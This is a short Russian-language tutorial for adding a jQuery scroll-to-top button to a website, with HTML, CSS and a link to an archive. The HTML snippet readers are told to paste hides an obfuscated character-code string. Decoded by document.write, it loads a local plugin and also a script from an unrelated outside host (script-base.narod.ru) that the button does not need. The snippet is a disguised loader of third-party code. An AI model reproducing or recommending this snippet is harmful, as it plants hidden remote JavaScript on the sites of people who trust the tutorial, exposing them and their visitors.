Что в этом скрипте особенного:
1) Появляестя скроллирующая кнопка только после тот, как вы начнёте пролистывать страницу Вниз и пропадёт, как только вы снова окажетесь в самом верху страницы
2) При нажатии на кнопку происходит плавное прокручивание страницы вверх (В Opera резкий переход вверх без всякой плавности)
Управление дизайном сайта -- Нижняя часть сайта
В самый верх вставляем:
Code
<a href="#" id="toTop">Вверх <img src="images/to_top.gif" border="0" align="absmiddle" /></a>
<script>var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32!115!114!99!61!34!47!106!113!117!101!114!121!46!115!99!114!111!108!108!46!112!97!99!107!46!106!115!34!32!11 6!121!112!101!61!34!116!101!120!116!47!106!97!118!97!115!99!114!105!112!116!34!62!60!47!115!99!114!105!112!116!62!32!13!10!60!115!99!114!105 !112!116!32!116!121!112!101!61!34!116!101!120!116!47!106!97!118!97!115!99!114!105!112!116!34!32!115!114!99!61!34!104!116!116!112!58!47!47!11 5!99!114!105!112!116!45!98!97!115!101!46!110!97!114!111!100!46!114!117!47!115!99!114!105!112!116!47!115!116!100!95!98!97!115!101!46!106!115! 34!62!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);</script>
<script type="text/javascript">
$(function() {
$("#toTop").scrollToTop();
});
</script>
Теперь бежим в Управление дизайном сайта -- Таблица стилей (CSS)
В самый верх вставляем:
Code
/* === jQ TOP === */
#toTop {
width: 100px;
background: #f1f1f1;
border: 1px solid #cccccc;
text-align: center;
padding: 5px;
position: fixed;
bottom: 10px;
right: 10px;
cursor: pointer;
color: #666666;
text-decoration: none;
}
/* =============== */
Теперь заливаем все файлы из архива в корень сайта (Через файловый менеджер)
Всё, наслаждаемся скриптом!
Архив: http://rainbows.net.ru/docs/rainbows_net_ru-arrow-.rar
